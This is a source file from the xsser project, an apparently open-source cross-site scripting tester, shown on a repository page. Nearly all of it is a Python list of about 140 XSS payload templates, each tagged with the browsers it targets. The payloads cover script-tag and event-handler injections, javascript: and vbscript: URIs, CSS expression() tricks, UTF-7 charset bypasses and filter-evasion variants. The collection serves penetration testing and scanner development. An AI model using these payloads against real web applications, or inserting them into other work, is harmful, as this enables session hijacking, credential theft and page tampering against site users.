Головна сторінка Огляд Довідка
Увійти
epsylon
/
xsser
Слідкувати 1
Зірка 0
Відгалуження 0
Файли Проблеми 0 Запити на злиття 0
Дерево: ef8e8c3f4c
Гілки Теги
xsser
/
xsser
/
core
/
fuzzing
/
vectors.py

vectors.py 75 KB
Історія Запис

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146 
  1. #!/usr/bin/env python
    2. 

  2. # -*- coding: utf-8 -*-"
    3. 

  3. # vim: set expandtab tabstop=4 shiftwidth=4:
    4. 

  4. """
    5. 

  5. $Id$
    6. 

  6. 

  7. This file is part of the xsser project, http://xsser.03c8.net
    8. 

  8. 

  9. Copyright (c) 2011/2016 psy <epsylon@riseup.net>
    10. 

  10. 

  11. xsser is free software; you can redistribute it and/or modify it under
    12. 

  12. the terms of the GNU General Public License as published by the Free
    13. 

  13. Software Foundation version 3 of the License.
    14. 

  14. 

  15. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
    16. 

  16. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
    17. 

  17. FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
    18. 

  18. details.
    19. 

  19. 

  20. You should have received a copy of the GNU General Public License along
    21. 

  21. with xsser; if not, write to the Free Software Foundation, Inc., 51
    22. 

  22. Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
    23. 

  23. """
    24. 

  24. ## This file contains different XSS fuzzing vectors.
    25. 

  25. ## If you have some new, please email me to [epsylon@riseup.net]
    26. 

  26. ## Happy Cross Hacking! ;)
    27. 

  27. 

  28. vectors = [	{ 'payload':'''">PAYLOAD''',
    29. 

  29. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    30. 

  30.         { 'payload':""""><SCRIPT>alert('PAYLOAD')</SCRIPT>""",
    31. 

  31.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
    32. 

  32.         { 'payload':"""</TITLE>PAYLOAD""",
    33. 

  33. 	      'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    34. 

  34. 		{ 'payload':""""><img src="x:x" onerror="PAYLOAD">""",
    35. 

  35. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},		
    36. 

  36. 		{ 'payload':"""<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>""",
    37. 

  37. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    38. 

  38. 		{ 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
    39. 

  39. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
    40. 

  40. 		{ 'payload':"""<IMG SRC="PAYLOAD">""",
    41. 

  41. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    42. 

  42. 		{ 'payload':"""<IMG SRC=PAYLOAD>""",
    43. 

  43.   		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    44. 

  44. 		{ 'payload':"""<IMG SRC=`PAYLOAD`>""",
    45. 

  45. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    46. 

  46. 		{ 'payload':'''<IMG """>PAYLOAD">''',
    47. 

  47. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    48. 

  48. 		{ 'payload':"""<IMG SRC=" &#14;  PAYLOAD">""",
    49. 

  49. 	      'browser':"""[IE6.0|NS8.1-IE]"""},
    50. 

  50. 		{ 'payload':"""<DIV STYLE="behaviour: url(PAYLOAD);">""",
    51. 

  51. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    52. 

  52.         { 'payload':"""<<SCRIPT>PAYLOAD//<</SCRIPT>""",
    53. 

  53. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    54. 

  54. 		{ 'payload':"""\";PAYLOAD//""",
    55. 

  55. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    56. 

  56. 		{ 'payload':"""<IMG SRC='PAYLOAD'""",
    57. 

  57. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    58. 

  58. 		{ 'payload':"""<BODY BACKGROUND="PAYLOAD">""",
    59. 

  59. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    60. 

  60. 		{ 'payload':"""<INPUT TYPE="IMAGE" SRC="PAYLOAD">""",
    61. 

  61. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    62. 

  62.         { 'payload':"""<BODY ONLOAD=PAYLOAD>""",
    63. 

  63. 	      'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    64. 

  64. 		{ 'payload':"""<IMG DYNSRC="PAYLOAD">""",
    65. 

  65. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    66. 

  66. 		{ 'payload':"""<IMG LOWSRC="PAYLOAD">""",
    67. 

  67. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    68. 

  68. 		{ 'payload':"""<BGSOUND SRC="PAYLOAD">""",
    69. 

  69. 	      'browser':"""[O9.02]"""},
    70. 

  70.         { 'payload':"""<BR SIZE="&{PAYLOAD}">""",
    71. 

  71. 		  'browser':"""[NS4]"""},
    72. 

  72. 		{ 'payload':"""<LINK REL="stylesheet" HREF="PAYLOAD">""",
    73. 

  73. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    74. 

  74. 		{ 'payload':"""<IMG SRC='vbscript:PAYLOAD'>""",
    75. 

  75. 	   	  'browser':"""[IE6.0|NS8.1-IE]"""},
    76. 

  76. 		{ 'payload':"""<IMG SRC="mocha:[PAYLOAD]">""",
    77. 

  77. 	   	  'browser':"""[NS4]"""},
    78. 

  78. 	 	{ 'payload':"""<IMG SRC="livescript:[PAYLOAD]">""",
    79. 

  79. 	  	  'browser':"""[NS4]"""},
    80. 

  80. 	 	{ 'payload':"""<META HTTP-EQUIV="refresh" CONTENT="0;url=PAYLOAD">""",
    81. 

  81. 	   	  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    82. 

  82. 	 	{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
    83. 

  83. 	      'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    84. 

  84.         { 'payload':"""<TABLE BACKGROUND=javascript:PAYLOAD>""",
    85. 

  85.           'browser':"""[O9.02]"""},
    86. 

  86. 		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
    87. 

  87. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    88. 

  88. 		{ 'payload':"""<DIV STYLE="background-image: url(PAYLOAD);">""",
    89. 

  89. 		  'browser':"""[IE6.0|NS8.1-IE]"""},			  
    90. 

  90. 		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
    91. 

  91. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    92. 

  92. 		{ 'payload':"""<IFRAME SRC="PAYLOAD"></IFRAME>""",
    93. 

  93. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    94. 

  94.         { 'payload':"""<iframe/ /onload=PAYLOAD></iframe>""",
    95. 

  95.           'browser':"""Not Info"""},
    96. 

  96.         { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
    97. 

  97.           'browser':"""Not Info"""},
    98. 

  98.         { 'payload':"""<iframe///////onload=PAYLOAD></iframe>""",
    99. 

  99.           'browser':"""Not Info"""},
    100. 

  100.         { 'payload':"""<iframe "onload=PAYLOAD></iframe>""",
    101. 

  101.           'browser':"""Not Info"""},
    102. 

  102.         { 'payload':"""<iframe<?php echo chr(11)?> onload=PAYLOAD></iframe>""",
    103. 

  103.           'browser':"""Not Info"""},
    104. 

  104.         { 'payload':"""<iframe<?php echo chr(12)?> onload=PAYLOAD></iframe>""",
    105. 

  105.           'browser':"""Not Info"""},
    106. 

  106.    		{ 'payload':"""<FRAMESET><FRAME SRC="PAYLOAD"></FRAMESET>""",
    107. 

  107. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    108. 

  108. 		{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
    109. 

  109. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    110. 

  110. 		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
    111. 

  111.   		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, 			  
    112. 

  112. 		{ 'payload':"""<DIV STYLE="background-image: url(&#1;PAYLOAD)">""",
    113. 

  113. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    114. 

  114.    		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
    115. 

  115. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    116. 

  116. 		{ 'payload':"""<IMG STYLE="X:expr/*X*/ession(PAYLOAD)">""",
    117. 

  117.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, 
    118. 

  118. 		{ 'payload':"""<X STYLE="X:expression(PAYLOAD)">""",
    119. 

  119. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},			  
    120. 

  120.    		{ 'payload':"""<STYLE TYPE="text/javascript">PAYLOAD</STYLE>""",
    121. 

  121. 		  'browser':"""[NS4]"""},
    122. 

  122. 		{ 'payload':"""<STYLE>.X{background-image:url("PAYLOAD");}</STYLE><A CLASS=X></A>""",
    123. 

  123. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    124. 

  124. 		{ 'payload':"""<STYLE type="text/css">BODY{background:url("PAYLOAD")}</STYLE>""",
    125. 

  125.   		  'browser':"""[IE6.0|NS8.1-IE]"""}, 		  
    126. 

  126. 		{ 'payload':"""<!--[if gte IE 4]>PAYLOAD<![endif]-->""",
    127. 

  127. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    128. 

  128.    		{ 'payload':"""<BASE HREF="PAYLOAD//">""",
    129. 

  129. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    130. 

  130. 		{ 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=PAYLOAD></OBJECT>""",
    131. 

  131. 		  'browser':"""[O9.02]"""},
    132. 

  132. 		{ 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""",
    133. 

  133.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
    134. 

  134. 		{ 'payload':"""<? echo('<SCR)';echo('IPT>PAYLOAD</SCRIPT>'); ?>""",
    135. 

  135.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
    136. 

  136. 		{ 'payload':"""<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;PAYLOAD&lt;/SCRIPT&gt;">""",
    137. 

  137. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	 
    138. 

  138. 		{ 'payload':"""<SCRIPT SRC=http://127.0.0.1>PAYLOAD</SCRIPT>""", 
    139. 

  139. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    140. 

  140. 		{ 'payload':"""<IMG SRC="&14;javascript:PAYLOAD">""",
    141. 

  141. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    142. 

  142.         { 'payload':"""<IMG SRC="jav&#x0D;ascript:PAYLOAD">""",
    143. 

  143.           'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    144. 

  144.         { 'payload':"""--- <IMG SRC=" &#14;  PAYLOAD">""",
    145. 

  145.           'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    146. 

  146.         { 'payload':'''--- <IMG SRC="PAYLOAD"''',
    147. 

  147.           'browser':"""[IE6.0|NS8.1-IE] [09.02]"""},
    148. 

  148.         { 'payload':"""<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
    149. 

  149.           'browser':"""[Not Info]"""},
    150. 

  150.         { 'payload':'''--- \";PAYLOAD;//''',
    151. 

  151.           'browser':"""[Not Info]"""},
    152. 

  152.         { 'payload':'''<META HTTP-EQUIVo"refresh" CONTENT="0; URL=http://;URL=PAYLOAD">''',
    153. 

  153.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    154. 

  154. 		{ 'payload':"""<SCRIPT <B>=PAYLOAD"></SCRIPT>""",
    155. 

  155. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},	 
    156. 

  156. 		{ 'payload':"""<IFRAME SRC="javascript:PAYLOAD <""",
    157. 

  157. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    158. 

  158. 		{ 'payload':"""<SCRIPT>a=/X/nPAYLOAD</SCRIPT>""",
    159. 

  159. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    160. 

  160. 		{ 'payload':"""<LAYER SRC="javascript:PAYLOAD></LAYER>""",
    161. 

  161. 		  'browser':"""[NS4]"""},
    162. 

  162. 		{ 'payload':"""<STYLE>li {list-style-image: url("PAYLOAD</STYLE><UL><LI>X""", 
    163. 

  163. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    164. 

  164. 		{ 'payload':"""<DIV STYLE="background-image: url(&#1;javascript:PAYLOAD">""",
    165. 

  165. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    166. 

  166. 		{ 'payload':"""<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-PAYLOAD+ADw-/SCRIPT+AD4-""",
    167. 

  167. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    168. 

  168. 		{ 'payload':"""<a href="javascript#PAYLOAD">""",
    169. 

  169. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    170. 

  170. 		{ 'payload':"""<input type="image" dynsrc="PAYLOAD">""",
    171. 

  171. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    172. 

  172. 		{ 'payload':"""&PAYLOAD">""",
    173. 

  173. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    174. 

  174. 		{ 'payload':"""&{PAYLOAD};""",
    175. 

  175. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    176. 

  176. 		{ 'payload':"""<IMG SRC=&{PAYLOAD};>""",
    177. 

  177. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    178. 

  178. 		{ 'payload':"""<a href="about:PAYLOAD">""",
    179. 

  179. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    180. 

  180. 		{ 'payload':"""<DIV STYLE="binding: url(javascript:PAYLOAD);">""",
    181. 

  181. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    182. 

  182. 		{ 'payload':"""<OBJECT classid=clsid:..." codebase="javascript:PAYLOAD">""",
    183. 

  183. 		  'browser':"""[O9.02]"""},
    184. 

  184. 		{ 'payload':"""<style><!--</style><SCRIPT>PAYLOAD//--></SCRIPT>""",
    185. 

  185. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    186. 

  186. 		{ 'payload':"""![CDATA[<!--]]<SCRIPT>PAYLOAD//--></SCRIPT>""",
    187. 

  187. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    188. 

  188. 		{ 'payload':"""<!-- -- -->PAYLOAD<!-- -- -->""",
    189. 

  189. 		  'browser':"""[Not Info]"""},
    190. 

  190. 		{ 'payload':'''<xml id="X"><a><b>PAYLOAD;<b></a></xml>''',
    191. 

  191. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    192. 

  192. 		{ 'payload':'''<div datafld="b" dataformatas="html" datasrc="#PAYLOAD"></div>''',
    193. 

  193. 		  'browser':"""[IE]"""},
    194. 

  194. 		{ 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:PAYLOAD">]]</C><X></xml>''',
    195. 

  195. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    196. 

  196.         { 'payload':"""<script psy>/*<script* */alert(PAYLOAD)</script""",
    197. 

  197.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    198. 

  198.  		{ 'payload':'''<img src=1 href=1 onerror="PAYLOAD"></img>''',
    199. 

  199.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    200. 

  200.     	{ 'payload':'''<audio src=1 href=1 onerror="PAYLOAD"></audio>''',
    201. 

  201.           'browser':"""[HTML5 Injection]"""},
    202. 

  202.  		{ 'payload':'''<video src=1 href=1 onerror="PAYLOAD"></video>''',
    203. 

  203.           'browser':"""[HTML5 Injection]"""},
    204. 

  204.  		{ 'payload':'''<body src=1 href=1 onerror="PAYLOAD"></body>''',
    205. 

  205.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    206. 

  206.  		{ 'payload':'''<image src=1 href=1 onerror="PAYLOAD"></image>''',
    207. 

  207.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    208. 

  208.  		{ 'payload':'''<object src=1 href=1 onerror="PAYLOAD"></object>''',
    209. 

  209.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    210. 

  210.  		{ 'payload':'''<script src=1 href=1 onerror="PAYLOAD"></script>''',
    211. 

  211.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    212. 

  212.  		{ 'payload':'''<svg onResize svg onResize="javascript:PAYLOAD"></svg onResize>''',
    213. 

  213.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    214. 

  214.  		{ 'payload':'''<title onPropertyChange title onPropertyChange="javascript:PAYLOAD"></title onPropertyChange>''',
    215. 

  215.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    216. 

  216.  		{ 'payload':'''<iframe onLoad iframe onLoad="javascript:PAYLOAD"></iframe onLoad>''',
    217. 

  217.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    218. 

  218.  		{ 'payload':'''<body onMouseEnter body onMouseEnter="javascript:PAYLOAD"></body onMouseEnter>''',
    219. 

  219.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    220. 

  220.  		{ 'payload':'''<body onFocus body onFocus="javascript:PAYLOAD"></body onFocus>''',
    221. 

  221.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    222. 

  222.  		{ 'payload':'''<frameset onScroll frameset onScroll="javascript:PAYLOAD"></frameset onScroll>''',
    223. 

  223.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    224. 

  224.  		{ 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:PAYLOAD"></script onReadyStateChange>''',
    225. 

  225.           'browser':"""[IE] [Chrome]"""},
    226. 

  226.  		{ 'payload':'''<html onMouseUp html onMouseUp="javascript:PAYLOAD"></html onMouseUp>''',
    227. 

  227.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    228. 

  228.  		{ 'payload':'''<body onPropertyChange body onPropertyChange="javascript:PAYLOAD"></body onPropertyChange>''',
    229. 

  229.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    230. 

  230.  		{ 'payload':'''<svg onLoad svg onLoad="javascript:PAYLOAD"></svg onLoad>''',
    231. 

  231.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    232. 

  232.  		{ 'payload':'''<body onPageHide body onPageHide="javascript:PAYLOAD"></body onPageHide>''',
    233. 

  233.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    234. 

  234.  		{ 'payload':'''<body onMouseOver body onMouseOver="javascript:PAYLOAD"></body onMouseOver>''',
    235. 

  235.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    236. 

  236.  		{ 'payload':'''<body onUnload body onUnload="javascript:PAYLOAD"></body onUnload>''',
    237. 

  237.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    238. 

  238.  		{ 'payload':'''<body onLoad body onLoad="javascript:PAYLOAD"></body onLoad>''',
    239. 

  239.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    240. 

  240.  		{ 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:PAYLOAD"></bgsound onPropertyChange>''',
    241. 

  241.           'browser':"""[HTML5 Injection]"""},
    242. 

  242.  		{ 'payload':'''<html onMouseLeave html onMouseLeave="javascript:PAYLOAD"></html onMouseLeave>''',
    243. 

  243.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    244. 

  244.  		{ 'payload':'''<html onMouseWheel html onMouseWheel="javascript:PAYLOAD"></html onMouseWheel>''',
    245. 

  245.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    246. 

  246.  		{ 'payload':'''<style onLoad style onLoad="javascript:PAYLOAD"></style onLoad>''',
    247. 

  247.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    248. 

  248.  		{ 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:PAYLOAD"></iframe onReadyStateChange>''',
    249. 

  249.           'browser':"""[IE] [Chrome]"""},
    250. 

  250.  		{ 'payload':'''<body onPageShow body onPageShow="javascript:PAYLOAD"></body onPageShow>''',
    251. 

  251.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    252. 

  252.  		{ 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:PAYLOAD"></style onReadyStateChange>''',
    253. 

  253.           'browser':"""[IE] [Chrome]"""},
    254. 

  254.  		{ 'payload':'''<frameset onFocus frameset onFocus="javascript:PAYLOAD"></frameset onFocus>''',
    255. 

  255.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    256. 

  256.  		{ 'payload':'''<applet onError applet onError="javascript:PAYLOAD"></applet onError>''',
    257. 

  257.           'browser':"""[HTML5 Injection]"""},
    258. 

  258.        	{ 'payload':'''<marquee onStart marquee onStart="javascript:PAYLOAD"></marquee onStart>''',
    259. 

  259.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    260. 

  260. 		{ 'payload':'''<script onLoad script onLoad="javascript:PAYLOAD"></script onLoad>''',
    261. 

  261.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    262. 

  262. 		{ 'payload':'''<html onMouseOver html onMouseOver="javascript:PAYLOAD"></html onMouseOver>''',
    263. 

  263.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    264. 

  264. 		{ 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.PAYLOAD"></html onMouseEnter>''',
    265. 

  265.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    266. 

  266. 		{ 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:PAYLOAD"></body onBeforeUnload>''',
    267. 

  267.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    268. 

  268. 		{ 'payload':'''<html onMouseDown html onMouseDown="javascript:PAYLOAD"></html onMouseDown>''',
    269. 

  269.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    270. 

  270. 		{ 'payload':'''<marquee onScroll marquee onScroll="javascript:PAYLOAD"></marquee onScroll>''',
    271. 

  271. 		  'browser':"""[Not Info]"""},
    272. 

  272. 		{ 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:PAYLOAD"></xml onPropertyChange>''',
    273. 

  273. 		  'browser':"""[Not Info]"""},
    274. 

  274. 		{ 'payload':'''<frameset onBlur frameset onBlur="javascript:PAYLOAD"></frameset onBlur>''',
    275. 

  275. 		  'browser':"""[Not Info]"""},
    276. 

  276. 		{ 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:PAYLOAD"></applet onReadyStateChange>''',
    277. 

  277. 		  'browser':"""[IE] [Chrome]"""},
    278. 

  278. 		{ 'payload':'''<svg onUnload svg onUnload="javascript:PAYLOAD"></svg onUnload>''',
    279. 

  279. 		  'browser':"""[Not Info]"""},
    280. 

  280. 		{ 'payload':'''<html onMouseOut html onMouseOut="javascript:PAYLOAD"></html onMouseOut>''',
    281. 

  281. 		  'browser':"""[Not Info]"""},
    282. 

  282. 		{ 'payload':'''<body onMouseMove body onMouseMove="javascript:PAYLOAD"></body onMouseMove>''',
    283. 

  283. 		  'browser':"""[Not Info]"""},
    284. 

  284. 		{ 'payload':'''<body onResize body onResize="javascript:PAYLOAD"></body onResize>''',
    285. 

  285. 		  'browser':"""[Not Info]"""},
    286. 

  286. 		{ 'payload':'''<object onError object onError="javascript:PAYLOAD"></object onError>''',
    287. 

  287. 		  'browser':"""[Not Info]"""},
    288. 

  288. 		{ 'payload':'''<body onPopState body onPopState="javascript:PAYLOAD"></body onPopState>''',
    289. 

  289. 		  'browser':"""[Not Info]"""},
    290. 

